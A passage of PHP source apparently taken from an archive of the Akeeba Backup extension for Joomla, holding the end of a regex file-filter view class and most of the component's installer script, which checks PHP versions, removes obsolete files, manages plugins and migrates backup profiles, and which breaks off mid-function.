	use ProfileIdAndName;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		// Load Javascript files
		$this->container->template->addJS('media://com_akeeba/js/FileFilters.min.js', true, false, $this->container->mediaVersion);
		$this->container->template->addJS('media://com_akeeba/js/RegExFileFilter.min.js', true, false, $this->container->mediaVersion);

		/** @var RegExFileFilters $model */
		$model = $this->getModel();

		// Get a JSON representation of the available roots
		$filters   = Factory::getFilters();
		$root_info = $filters->getInclusions('dir');
		$roots     = array();
		$options   = array();

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $dir_definition)
			{
				if (is_null($dir_definition[1]))
				{
					// Site root definition has a null element 1. It is always pushed on top of the stack.
					array_unshift($roots, $dir_definition[0]);
				}
				else
				{
					$roots[] = $dir_definition[0];
				}

				$options[] = JHtml::_('select.option', $dir_definition[0], $dir_definition[0]);
			}
		}
		$site_root         = $roots[0];
		$this->root_select = JHtml::_('select.genericlist', $options, 'root', [
			'list.select' => $site_root,
			'id'          => 'active_root',
		]);
		$this->roots       = $roots;

		// Pass script options
		$platform = $this->container->platform;
		$platform->addScriptOptions('akeeba.System.params.AjaxURL', JUri::base() . 'index.php?option=com_akeeba&view=RegExFileFilters&task=ajax');
		$platform->addScriptOptions('akeeba.RegExFileFilter.guiData', $model->get_regex_filters($site_root));

		$this->getProfileIdAndName();

		// Push translations
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIROOT');
		JText::script('COM_AKEEBA_FILEFILTERS_LABEL_UIERRORFILTER');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_DIRECTORIES');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPFILES');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_SKIPDIRS');
		JText::script('COM_AKEEBA_FILEFILTERS_TYPE_FILES');

	}
}
com_akeeba/script.akeeba.php000060400000104630152455305260012045 0ustar00<?php
/**
 * @package    AkeebaBackup
 * @copyright  Copyright (c)2009-2016 Nicholas K. Dionysopoulos
 * @license    GNU General Public License version 3, or later
 *
 */
defined('_JEXEC') or die();

// Load FOF if not already loaded
if (!defined('F0F_INCLUDED'))
{
	$paths = array(
		(defined('JPATH_LIBRARIES') ? JPATH_LIBRARIES : JPATH_ROOT . '/libraries') . '/f0f/include.php',
		__DIR__ . '/fof/include.php',
	);

	foreach ($paths as $filePath)
	{
		if (!defined('F0F_INCLUDED') && file_exists($filePath))
		{
			@include_once $filePath;
		}
	}
}

// Pre-load the installer script class from our own copy of FOF
if (!class_exists('F0FUtilsInstallscript', false))
{
	@include_once __DIR__ . '/fof/utils/installscript/installscript.php';
}

// Pre-load the database schema installer class from our own copy of FOF
if (!class_exists('F0FDatabaseInstaller', false))
{
	@include_once __DIR__ . '/fof/database/installer.php';
}

// Pre-load the update utility class from our own copy of FOF
if (!class_exists('F0FUtilsUpdate', false))
{
	@include_once __DIR__ . '/fof/utils/update/update.php';
}

// Pre-load the cache cleaner utility class from our own copy of FOF
if (!class_exists('F0FUtilsCacheCleaner', false))
{
	@include_once __DIR__ . '/fof/utils/cache/cleaner.php';
}

class Com_AkeebaInstallerScript extends F0FUtilsInstallscript
{
	/**
	 * The title of the component (printed on installation and uninstallation messages)
	 *
	 * @var string
	 */
	protected $componentTitle = 'Akeeba Backup';

	/**
	 * The component's name
	 *
	 * @var   string
	 */
	protected $componentName = 'com_akeeba';

	/**
	 * The list of extra modules and plugins to install on component installation / update and remove on component
	 * uninstallation.
	 *
	 * @var   array
	 */
	protected $installation_queue = array(
		// modules => { (folder) => { (module) => { (position), (published) } }* }*
		'modules' => array(
			'admin' => array(
			),
			'site'  => array()
		),
		// plugins => { (folder) => { (element) => (published) }* }*
		'plugins' => array(
			'quickicon' => array(
				'akeebabackup' => 1,
			),
			'system'    => array(
				'akeebaupdatecheck' => 0,
				'backuponupdate'    => 1,
			),
		)
	);

	/**
	 * The list of obsolete extra modules and plugins to uninstall on component upgrade / installation.
	 *
	 * @var array
	 */
	protected $uninstallation_queue = array(
		// modules => { (folder) => { (module) }* }*
		'modules' => array(
			'admin' => array(
				'akeebabackup'
			),
			'site'  => array()
		),
		// plugins => { (folder) => { (element) }* }*
		'plugins' => array(
			'system' => array(
				'srp',
			),
			'installer' => array(
				'akeebabackup',
			),
		)
	);

	/**
	 * Obsolete files and folders to remove from the free version only. This is used when you move a feature from the
	 * free version of your extension to its paid version. If you don't have such a distinction you can ignore this.
	 *
	 * @var   array
	 */
	protected $removeFilesFree = array(
		'files'   => array(
			// Pro component features
			'administrator/components/com_akeeba/engine/Archiver/Directftp.php',
			'administrator/components/com_akeeba/engine/Archiver/directftp.ini',
			'administrator/components/com_akeeba/engine/Archiver/Directsftp.php',
			'administrator/components/com_akeeba/engine/Archiver/directsftp.ini',
			'administrator/components/com_akeeba/engine/Archiver/Jps.php',
			'administrator/components/com_akeeba/engine/Archiver/jps.ini',
			'administrator/components/com_akeeba/engine/Archiver/Zipnative.php',
			'administrator/components/com_akeeba/engine/Archiver/zipnative.ini',
			'administrator/components/com_akeeba/engine/Dump/Reverse.php',
			'administrator/components/com_akeeba/engine/Dump/reverse.ini',
			'administrator/components/com_akeeba/engine/Postproc/amazons3.ini',
			'administrator/components/com_akeeba/engine/Postproc/Amazons3.php',
			'administrator/components/com_akeeba/engine/Postproc/azure.ini',
			'administrator/components/com_akeeba/engine/Postproc/Azure.php',
			'administrator/components/com_akeeba/engine/Postproc/cloudfiles.ini',
			'administrator/components/com_akeeba/engine/Postproc/Cloudfiles.php',
			'administrator/components/com_akeeba/engine/Postproc/cloudme.ini',
			'administrator/components/com_akeeba/engine/Postproc/Cloudme.php',
			'administrator/components/com_akeeba/engine/Postproc/dreamobjects.ini',
			'administrator/components/com_akeeba/engine/Postproc/Dreamobjects.php',
			'administrator/components/com_akeeba/engine/Postproc/dropbox.ini',
			'administrator/components/com_akeeba/engine/Postproc/Dropbox.php',
			'administrator/components/com_akeeba/engine/Postproc/email.ini',
			'administrator/components/com_akeeba/engine/Postproc/Email.php',
			'administrator/components/com_akeeba/engine/Postproc/ftp.ini',
			'administrator/components/com_akeeba/engine/Postproc/Ftp.php',
			'administrator/components/com_akeeba/engine/Postproc/googlestorage.ini',
			'administrator/components/com_akeeba/engine/Postproc/Googlestorage.php',
			'administrator/components/com_akeeba/engine/Postproc/idrivesync.ini',
			'administrator/components/com_akeeba/engine/Postproc/Idrivesync.php',
			'administrator/components/com_akeeba/engine/Postproc/onedrive.ini',
			'administrator/components/com_akeeba/engine/Postproc/Onedrive.php',
			'administrator/components/com_akeeba/engine/Postproc/s3.ini',
			'administrator/components/com_akeeba/engine/Postproc/S3.php',
			'administrator/components/com_akeeba/engine/Postproc/sftp.ini',
			'administrator/components/com_akeeba/engine/Postproc/Sftp.php',
			'administrator/components/com_akeeba/engine/Postproc/sugarsync.ini',
			'administrator/components/com_akeeba/engine/Postproc/Sugarsync.php',
			'administrator/components/com_akeeba/engine/Postproc/webdav.ini',
			'administrator/components/com_akeeba/engine/Postproc/Webdav.php',
			'administrator/components/com_akeeba/engine/Scan/large.ini',
			'administrator/components/com_akeeba/engine/Scan/Large.php',
			'administrator/components/com_akeeba/controllers/alice.php',
			'administrator/components/com_akeeba/controllers/discover.php',
			'administrator/components/com_akeeba/controllers/eff.php',
			'administrator/components/com_akeeba/controllers/extfilter.php',
			'administrator/components/com_akeeba/controllers/multidb.php',
			'administrator/components/com_akeeba/controllers/regexdbfilter.php',
			'administrator/components/com_akeeba/controllers/regexfsfilter.php',
			'administrator/components/com_akeeba/controllers/remotefile.php',
			'administrator/components/com_akeeba/controllers/restore.php',
			'administrator/components/com_akeeba/controllers/s3import.php',
			'administrator/components/com_akeeba/controllers/srprestore.php',
			'administrator/components/com_akeeba/controllers/upload.php',
			'administrator/components/com_akeeba/models/alices.php',
			'administrator/components/com_akeeba/models/discovers.php',
			'administrator/components/com_akeeba/models/effs.php',
			'administrator/components/com_akeeba/models/extfilters.php',
			'administrator/components/com_akeeba/models/installer.php',
			'administrator/components/com_akeeba/models/multidbs.php',
			'administrator/components/com_akeeba/models/regexdbfilters.php',
			'administrator/components/com_akeeba/models/regexfsfilters.php',
			'administrator/components/com_akeeba/models/remotefiles.php',
			'administrator/components/com_akeeba/models/restores.php',
			'administrator/components/com_akeeba/models/s3imports.php',
			'administrator/components/com_akeeba/models/srprestores.php',
			'administrator/components/com_akeeba/models/uploads.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Components.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Extensiondirs.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Extensionfiles.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Languages.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Modules.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Plugins.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Templates.php',
			'administrator/components/com_akeeba/views/buadmin/tmpl/restorepoint.php',
			'administrator/components/com_akeeba/assets/installers/abi.ini',
			'administrator/components/com_akeeba/assets/installers/abi.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-generic.ini',
			'administrator/components/com_akeeba/assets/installers/angie-generic.jpa',
			// Media files
			'media/com_akeeba/akeebauipro.js',
			'media/com_akeeba/alice.js',
			'media/com_akeeba/encryption.js',
			// Plugins
			'plugins/system/akeebaupdatecheck.php',
			'plugins/system/akeebaupdatecheck.xml',
			'plugins/system/aklazy.php',
			'plugins/system/aklazy.xml',
			'plugins/system/srp.php',
			'plugins/system/srp.xml',
			// Additional ANGIE installers which are not used in Core
			'administrator/components/com_akeeba/assets/installers/angie-generic.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-generic.ini',
			// Integrity check
			'administrator/components/com_akeeba/fileslist.php',
			'administrator/components/com_akeeba/controllers/checkfile.php',
			// Post-install messages helper
			'administrator/components/com_akeeba/helpers/postinstall.php',
		),
		'folders' => array(
			// Plugins
			'plugins/system/akeebaupdatecheck',
			'plugins/system/aklazy',
			'plugins/system/srp',
			// Modules
			'administrator/modules/mod_akadmin',
			// Pro component features
			'administrator/components/com_akeeba/alice',
			'administrator/components/com_akeeba/platform/joomla25/Config/Pro',
			'administrator/components/com_akeeba/views/alices',
			'administrator/components/com_akeeba/views/discover',
			'administrator/components/com_akeeba/views/eff',
			'administrator/components/com_akeeba/views/extfilter',
			'administrator/components/com_akeeba/views/multidb',
			'administrator/components/com_akeeba/views/regexdbfilter',
			'administrator/components/com_akeeba/views/regexfsfilter',
			'administrator/components/com_akeeba/views/remotefiles',
			'administrator/components/com_akeeba/views/restore',
			'administrator/components/com_akeeba/views/s3import',
			'administrator/components/com_akeeba/views/srprestore',
			'administrator/components/com_akeeba/views/upload',
			'administrator/components/com_akeeba/engine/Dump/Reverse',
			'administrator/components/com_akeeba/engine/Postproc/Connector',
			// Integrity check
			'administrator/components/com_akeeba/views/checkfiles',
		)
	);

	/**
	 * Obsolete files and folders to remove from both paid and free releases. This is used when you refactor code and
	 * some files inevitably become obsolete and need to be removed.
	 *
	 * @var   array
	 */
	protected $removeFilesAllVersions = array(
		'files'   => array(
			'cache/com_akeeba.updates.php',
			'cache/com_akeeba.updates.ini',
			'administrator/cache/com_akeeba.updates.php',
			'administrator/cache/com_akeeba.updates.ini',
			'administrator/components/com_akeeba/controllers/acl.php',
			'administrator/components/com_akeeba/controllers/installer.php',
			'administrator/components/com_akeeba/models/srprestore.php',
			'administrator/components/com_akeeba/models/stw.php',
			'administrator/components/com_akeeba/models/acl.php',
			'administrator/components/com_akeeba/tables/acl.php',
			// Files renamed after using FOF
			'administrator/components/com_akeeba/models/cpanel.php',
			'administrator/components/com_akeeba/models/backup.php',
			'administrator/components/com_akeeba/models/config.php',
			'administrator/components/com_akeeba/models/ftpbrowser.php',
			'administrator/components/com_akeeba/models/log.php',
			'administrator/components/com_akeeba/models/fsfilter.php',
			'administrator/components/com_akeeba/models/dbef.php',
			'administrator/components/com_akeeba/views/profiles/tmpl/default_edit.php',
			'administrator/components/com_akeeba/views/buadmin/tmpl/default_comment.php',
			'administrator/components/com_akeeba/views/fsfilter/tmpl/default_tab.php',
			'administrator/components/com_akeeba/views/extfilter/tmpl/default_components.php',
			'administrator/components/com_akeeba/views/extfilter/tmpl/default_languages.php',
			'administrator/components/com_akeeba/views/extfilter/tmpl/default_modules.php',
			'administrator/components/com_akeeba/views/extfilter/tmpl/default_plugins.php',
			'administrator/components/com_akeeba/views/extfilter/tmpl/default_templates.php',
			'administrator/components/com_akeeba/views/dbef/tmpl/default_tab.php',
			'components/com_akeeba/models/light.php',
			'components/com_akeeba/models/json.php',
			'components/com_akeeba/views/light/view.html.php',
			'components/com_akeeba/views/light/tmpl/default_done.php',
			'components/com_akeeba/views/light/tmpl/default_error.php',
			'components/com_akeeba/views/light/tmpl/default_step.php',
			// Outdated media files
			'media/com_akeeba/js/jquery.js',
			'media/com_akeeba/js/jquery-ui.js',
			'media/com_akeeba/js/akeebajq.js',
			'media/com_akeeba/js/akeebajqui.js',
			'media/com_akeeba/theme/jquery-ui.css',
			'media/com_akeeba/theme/browser.css',
			// Old ABI installer
			'administrator/components/com_akeeba/assets/installers/abi.jpa',
			'administrator/components/com_akeeba/assets/installers/abi.ini',
			// Additional ANGIE installers which are not used in Pro and Core versions
			'administrator/components/com_akeeba/assets/installers/angie-magento.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-magento.ini',
			'administrator/components/com_akeeba/assets/installers/angie-moodle.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-moodle.ini',
			'administrator/components/com_akeeba/assets/installers/angie-phpbb.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-phpbb.ini',
			'administrator/components/com_akeeba/assets/installers/angie-prestashop.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-prestashop.ini',
			'administrator/components/com_akeeba/assets/installers/angie-wordpress.jpa',
			'administrator/components/com_akeeba/assets/installers/angie-wordpress.ini',
			// Old CLI backup scripts, obsolete since 3.5.0, removed in 4.0.0
			'administrator/components/com_akeeba/backup.php',
			'administrator/components/com_akeeba/altbackup.php',

			// Post-installation page
		    'administrator/components/com_akeeba/controllers/postsetup.php',

			// Site Transfer Wizard
		    'administrator/components/com_akeeba/controllers/stw.php',
		    'administrator/components/com_akeeba/models/stws.php',

			// System Restore Points
			'administrator/components/com_akeeba/controllers/srprestore.php',
			'administrator/components/com_akeeba/models/srprestores.php',
			'administrator/components/com_akeeba/models/installer.php',
			'administrator/components/com_akeeba/views/buadmin/tmpl/restorepoint.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/SRPData.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/SRPDirectories.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/SRPFiles.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/SRPSkipData.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/SRPSkipFiles.php',
			'administrator/components/com_akeeba/platform/joomla25/Finalization/Srpquotas.php',

			// Extension filters
			'administrator/components/com_akeeba/controllers/extfilter.php',
			'administrator/components/com_akeeba/models/extfilter.php',
			'administrator/components/com_akeeba/models/extfilters.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Components.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Extensiondirs.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Extensionfiles.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Languages.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Modules.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Plugins.php',
			'administrator/components/com_akeeba/platform/joomla25/Filter/Templates.php',

			// Lite mode (because smartphones are the norm since ~2010 or so)
			'components/com_akeeba/controllers/light.php',
			'components/com_akeeba/models/lights.php',

			// Old view INI files
			'administrator/components/com_akeeba/views/proviews.ini',
			'administrator/components/com_akeeba/views/views.ini',

			// Live Help (which had stopped working a long time ago and nobody even noticed)
			'administrator/components/com_akeeba/helpers/includes.php',

			// JSON library, which only made sense in PHP 5.2 and lower (Joomla! 3 won't even run without JSON support)
			'administrator/components/com_akeeba/helpers/jsonlib.php',

			// Old self-heal db support
			'administrator/components/com_akeeba/models/selfheal.php',

			// Obsolete Amazon S3 integration
			'administrator/components/com_akeeba/engine/Postproc/Connector/Amazons3.php',
			'administrator/components/com_akeeba/engine/Postproc/S3.php',
			'administrator/components/com_akeeba/engine/Postproc/s3.ini',

			// Obsolete remains of the legacy Live Update system
			'administrator/components/com_akeeba/assets/xmlslurp/xmlslurp.php',
		),
		'folders' => array(
			// Directories used in version 4.1 and earlier
			'administrator/components/com_akeeba/akeeba',
			'administrator/components/com_akeeba/plugins',

			// Obsolete views
			'administrator/components/com_akeeba/views/installer',
			'administrator/components/com_akeeba/views/acl',
			'administrator/components/com_akeeba/assets/images',

			// Folders renamed after using FOF
			'components/com_akeeba/views/backup',
			'components/com_akeeba/views/json',

			// Outdated media directories
			'media/com_akeeba/theme/images',

			// Post-installation page
			'administrator/components/com_akeeba/views/postsetup',

			// Site Transfer Wizard
			'administrator/components/com_akeeba/views/stw',

			// System Restore Points
			'administrator/components/com_akeeba/assets/srpdefs',
			'administrator/components/com_akeeba/views/srprestore',

			// Extension filters
			'administrator/components/com_akeeba/views/extfilter',

			// We no longer have a front-end views folder
			'components/com_akeeba/views',

			// Obsolete Amazon S3 integration
			'administrator/components/com_akeeba/engine/Postproc/Connector/Amazon',
			'administrator/components/com_akeeba/engine/Postproc/Connector/Amazons3',

			// Obsolete remains of the legacy Live Update system
			'administrator/components/com_akeeba/assets/xmlslurp',

			// Obsolete Comconfig helper class
			'administrator/components/com_akeeba/platform/joomla25/Util',
		)
	);

	/**
	 * A list of scripts to be copied to the "cli" directory of the site
	 *
	 * @var   array
	 */
	protected $cliScriptFiles = array(
		'akeeba-backup.php',
		'akeeba-altbackup.php',
		'akeeba-check-failed.php',
		'akeeba-altcheck-failed.php',
        'akeeba-update.php',
	);

	/**
	 * The minimum PHP version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumPHPVersion = '5.3.3';

	/**
	 * The minimum Joomla! version required to install this extension
	 *
	 * @var   string
	 */
	protected $minimumJoomlaVersion = '1.6.0';

	/**
	 * Runs on installation
	 *
	 * @param   JInstaller $parent The parent object
	 */
	public function install($parent)
	{
		if (!defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			define('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH', 1);
		}
	}

	/**
	 * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to
	 * tell Joomla! if it should abort the installation.
	 *
	 * @param   string     $type   Installation type (install, update, discover_install)
	 * @param   JInstaller $parent Parent object
	 *
	 * @return  boolean  True to let the installation proceed, false to halt the installation
	 */
	public function preflight($type, $parent)
	{
		// Check the minimum PHP version. Issue a very stern warning if it's not met.
		if (!empty($this->minimumPHPVersion))
		{
			if (defined('PHP_VERSION'))
			{
				$version = PHP_VERSION;
			}
			elseif (function_exists('phpversion'))
			{
				$version = phpversion();
			}
			else
			{
				$version = '5.0.0'; // all bets are off!
			}

			if (!version_compare($version, $this->minimumPHPVersion, 'ge'))
			{
				$msg = "<h1>Your PHP version is too old</h1>";
				$msg .= "<p>You need PHP $this->minimumPHPVersion or later to install this component. Support for PHP 5.3.3 and earlier versions has been discontinued by our company as we publicly announced in February 2013.</p>";
				$msg .= "<p>You are using PHP $version which is an extremely old version, released more than four years ago. This version contains known functional and security issues. The functional issues do not allow you to run Akeeba Backup and cannot be worked around. The security issues mean that your site <b>can be easily hacked</b> since that these security issues are well known for over four years.</p>";
				$msg .= "<p>You have to ask your host to immediately update your site to PHP $this->minimumPHPVersion or later, ideally the latest available version of PHP 5.4. If your host won't do that you are advised to switch to a better host to ensure the security of your site. If you have to stay with your current host for reasons beyond your control you can use Akeeba Backup 4.0.5 or earlier, available from our downloads page.</p>";

				JLog::add($msg, JLog::WARNING, 'jerror');

				return false;
			}
		}

		$result = parent::preflight($type, $parent);

		// Move the serverkey.php file from /akeeba to /engine to preserve the settings
		if ($result)
		{
			$componentPath = JPATH_ADMINISTRATOR . '/components/com_akeeba';
			$fromFile = $componentPath . '/akeeba/serverkey.php';
			$toFile = $componentPath . '/engine/serverkey.php';

			if (@file_exists($fromFile) && !@file_exists($toFile))
			{
				$toPath = $componentPath . '/engine';

				if (class_exists('JLoader') && method_exists('JLoader', 'import'))
				{
					JLoader::import('joomla.filesystem.folder');
					JLoader::import('joomla.filesystem.file');
				}

				if (@is_dir($componentPath) && !@is_dir($toPath))
				{
					JFolder::create($toPath);
				}

				if (@is_dir($toPath))
				{
					JFile::copy($fromFile, $toFile);
				}
			}
		}

		return $result;
	}

	/**
	 * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing
	 * or updating your component. This is the last chance you've got to perform any additional installations, clean-up,
	 * database updates and similar housekeeping functions.
	 *
	 * @param   string     $type   install, update or discover_update
	 * @param   JInstaller $parent Parent object
	 */
	function postflight($type, $parent)
	{
		$this->isPaid = is_dir($parent->getParent()->getPath('source') . '/backend/alice');

        // Let's install common tables
        $model = F0FModel::getTmpInstance('Stats', 'AkeebaModel');

        if(method_exists($model, 'checkAndFixCommonTables'))
        {
            $model->checkAndFixCommonTables();
        }

		parent::postflight($type, $parent);

		$this->uninstallObsoletePostinstallMessages();

		$this->removeFOFUpdateSites();

		// Make sure the two plugins folders exist in Core release and are empty
		if (!$this->isPaid)
		{
			if (!JFolder::exists(JPATH_ADMINISTRATOR . '/components/com_akeeba/plugins'))
			{
				JFolder::create(JPATH_ADMINISTRATOR . '/components/com_akeeba/plugins');
			}

			if (!JFolder::exists(JPATH_ADMINISTRATOR . '/components/com_akeeba/akeeba/plugins'))
			{
				JFolder::create(JPATH_ADMINISTRATOR . '/components/com_akeeba/akeeba/plugins');
			}
		}

		// If this is a new installation tell it to NOT mark the backup profiles as configured.
		if (defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			$db = F0FPlatform::getInstance()->getDbo();
			$query = $db->getQuery(true)
				->select($db->qn('params'))
				->from($db->qn('#__extensions'))
				->where($db->qn('type') . ' = ' . $db->q('component'))
				->where($db->qn('element') . ' = ' . $db->q('com_akeeba'));
			$jsonData = $db->setQuery($query)->loadResult();
			$reg = new JRegistry($jsonData);
			$reg->set('confwiz_upgrade', 1);
			$jsonData = $reg->toString('JSON');
			$query = $db->getQuery()
				->update($db->qn('#__extensions'))
				->set($db->qn('params') . ' = ' . $db->q($jsonData))
				->where($db->qn('type') . ' = ' . $db->q('component'))
				->where($db->qn('element') . ' = ' . $db->q('com_akeeba'));
			$db->setQuery($query)->execute();
		}

		// This is an update of an existing installation
		if (!defined('AKEEBA_THIS_IS_INSTALLATION_FROM_SCRATCH'))
		{
			// Migrate profiles if necessary
			$this->migrateProfiles();
		}
	}

	/**
	 * Renders the post-installation message
	 */
	protected function renderPostInstallation($status, $fofInstallationStatus, $strapperInstallationStatus, $parent)
	{
		$this->warnAboutJSNPowerAdmin();

		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', '0');
		}

		$videoTutorialURL = 'https://www.akeebabackup.com/videos/1212-akeeba-backup-core.html';

		if (AKEEBA_PRO)
		{
			$videoTutorialURL = 'https://www.akeebabackup.com/videos/1213-akeeba-backup-for-joomla-pro.html';
		}

		?>
		<img src="../media/com_akeeba/icons/logo-48.png" width="48" height="48" alt="Akeeba Backup" align="right"/>

		<h2>Welcome to Akeeba Backup!</h2>

		<div style="margin: 1em; font-size: 14pt; background-color: #fffff9; color: black">
			You can download translation files <a href="http://cdn.akeebabackup.com/language/akeebabackup/index.html">directly
				from our CDN page</a>.
		</div>

		<?php
		parent::renderPostInstallation($status, $fofInstallationStatus, $strapperInstallationStatus, $parent);
		?>

		<fieldset>
			<p>
				We strongly recommend watching our
				<a href="<?php echo $videoTutorialURL ?>">video
				tutorials</a> before using this component.
			</p>

			<p>
				If this is the first time you install Akeeba Backup on your site please run the
				<a href="index.php?option=com_akeeba&view=confwiz">Configuration Wizard</a>. Akeeba Backup will
				configure itself optimally for your site.
			</p>

			<p>
				By installing this component you are implicitly accepting
				<a href="https://www.akeebabackup.com/license.html">its license (GNU GPLv3)</a> and our
				<a href="https://www.akeebabackup.com/privacy-policy.html">Terms of Service</a>,
				including our Support Policy.
			</p>
		</fieldset>
	<?php
        /** @var AkeebaModelStats $model */
        $model  = F0FModel::getTmpInstance('Stats', 'AkeebaModel');

        if(method_exists($model, 'collectStatistics'))
        {
            $iframe = $model->collectStatistics(true);

            if($iframe)
            {
                echo $iframe;
            }
        }
	}

	protected function renderPostUninstallation($status, $parent)
	{
		?>
		<h2>Akeeba Backup Uninstallation Status</h2>
		<?php
		parent::renderPostUninstallation($status, $parent);
	}

	private function uninstallObsoletePostinstallMessages()
	{
		$db = F0FPlatform::getInstance()->getDbo();

		$obsoleteTitleKeys = array(
			// Remove "Upgrade profiles to ANGIE"
			'AKEEBA_POSTSETUP_LBL_ANGIEUPGRADE',
			// Remove "Enable System Restore Points"
			'AKEEBA_POSTSETUP_LBL_SRP',
			'AKEEBA_POSTSETUP_LBL_BACKUPONUPDATE',
			'AKEEBA_POSTSETUP_LBL_CONFWIZ',
			'AKEEBA_POSTSETUP_LBL_ACCEPTLICENSE',
			'AKEEBA_POSTSETUP_LBL_ACCEPTSUPPORT',
			'AKEEBA_POSTSETUP_LBL_ACCEPTBACKUPTEST',
		);

		foreach ($obsoleteTitleKeys as $obsoleteKey)
		{

			// Remove the "Upgrade profiles to ANGIE" post-installation message
			$query = $db->getQuery(true)
			            ->delete($db->qn('#__postinstall_messages'))
			            ->where($db->qn('title_key') . ' = ' . $db->q($obsoleteKey));
			try
			{
				$db->setQuery($query)->execute();
			}
			catch (Exception $e)
			{
				// Do nothing
			}
		}
	}

	/**
	 * The PowerAdmin extension makes menu items disappear. People assume it's our fault. JSN PowerAdmin authors don't
	 * own up to their software's issue. I have no choice but to warn our users about the faulty third party software.
	 */
	private function warnAboutJSNPowerAdmin()
	{
		$db = F0FPlatform::getInstance()->getDbo();
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__extensions'))
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
			->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$hasPowerAdmin = $db->setQuery($query)->loadResult();

		if (!$hasPowerAdmin)
		{
			return;
		}

		$query = $db->getQuery(true)
					->select('manifest_cache')
					->from($db->qn('#__extensions'))
					->where($db->qn('type') . ' = ' . $db->q('component'))
					->where($db->qn('element') . ' = ' . $db->q('com_poweradmin'))
					->where($db->qn('enabled') . ' = ' . $db->q('1'));
		$paramsJson = $db->setQuery($query)->loadResult();
		$jsnPAManifest = new JRegistry();
		$jsnPAManifest->loadString($paramsJson, 'JSON');
		$version = $jsnPAManifest->get('version', '0.0.0');

		if (version_compare($version, '2.1.2', 'ge'))
		{
			return;
		}


		echo <<< HTML
<div class="well" style="margin: 2em 0;">
<h1 style="font-size: 32pt; line-height: 120%; color: red; margin-bottom: 1em">WARNING: Menu items for {$this->componentName} might not be displayed on your site.</h1>
<p style="font-size: 18pt; line-height: 150%; margin-bottom: 1.5em">
	We have detected that you are using JSN PowerAdmin on your site. This software ignores Joomla! standards and
	<b>hides</b> the Component menu items to {$this->componentName} in the administrator backend of your site. Unfortunately we
	can't provide support for third party software. Please contact the developers of JSN PowerAdmin for support
	regarding this issue.
</p>
<p style="font-size: 18pt; line-height: 120%; color: green;">
	Tip: You can disable JSN PowerAdmin to see the menu items to Akeeba Backup.
</p>
</div>

HTML;

	}

	/**
	 * Loads the Akeeba Engine if it's not already loaded
	 */
	private function loadAkeebaEngine()
	{
		if (class_exists('\\Akeeba\\Engine\\Platform'))
		{
			return;
		}

		// Load the language files
		$paths	 = array(JPATH_ADMINISTRATOR, JPATH_ROOT);
		$jlang	 = JFactory::getLanguage();
		$jlang->load('com_akeeba', $paths[0], 'en-GB', true);
		$jlang->load('com_akeeba', $paths[1], 'en-GB', true);
		$jlang->load('com_akeeba' . '.override', $paths[0], 'en-GB', true);
		$jlang->load('com_akeeba' . '.override', $paths[1], 'en-GB', true);

		// Load the version file
		if (!defined('AKEEBA_PRO'))
		{
			@include_once JPATH_ADMINISTRATOR . '/components/com_akeeba/version.php';
		}

		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', '0');
		}

		// Enable Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
		}

		// Load the engine
		$factoryPath = JPATH_ADMINISTRATOR . '/components/com_akeeba/engine/Factory.php';
		define('AKEEBAROOT', JPATH_ADMINISTRATOR . '/components/com_akeeba/engine');

		require_once $factoryPath;

		// Assign the correct platform
		\Akeeba\Engine\Platform::addPlatform('joomla25', JPATH_ADMINISTRATOR . '/components/com_akeeba/platform/joomla25');
	}

	/**
	 * Migrates existing backup profiles. The changes currently made are:
	 * – Change post-processing from "s3" (legacy) to "amazons3" (current version)
	 * – Fix profiles with invalid embedded installer settings
	 *
	 * @return  void
	 */
	private function migrateProfiles()
	{
		$this->loadAkeebaEngine();

		// Get a list of backup profiles
		$db = F0FPlatform::getInstance()->getDbo();
		$query = $db->getQuery(true)
					->select($db->qn('id'))
					->from($db->qn('#__ak_profiles'));
		$profiles = $db->setQuery($query)->loadColumn();

		// Normally this should never happen as we're supposed to have at least profile #1
		if (empty($profiles))
		{
			return;
		}

		// Migrate each profile
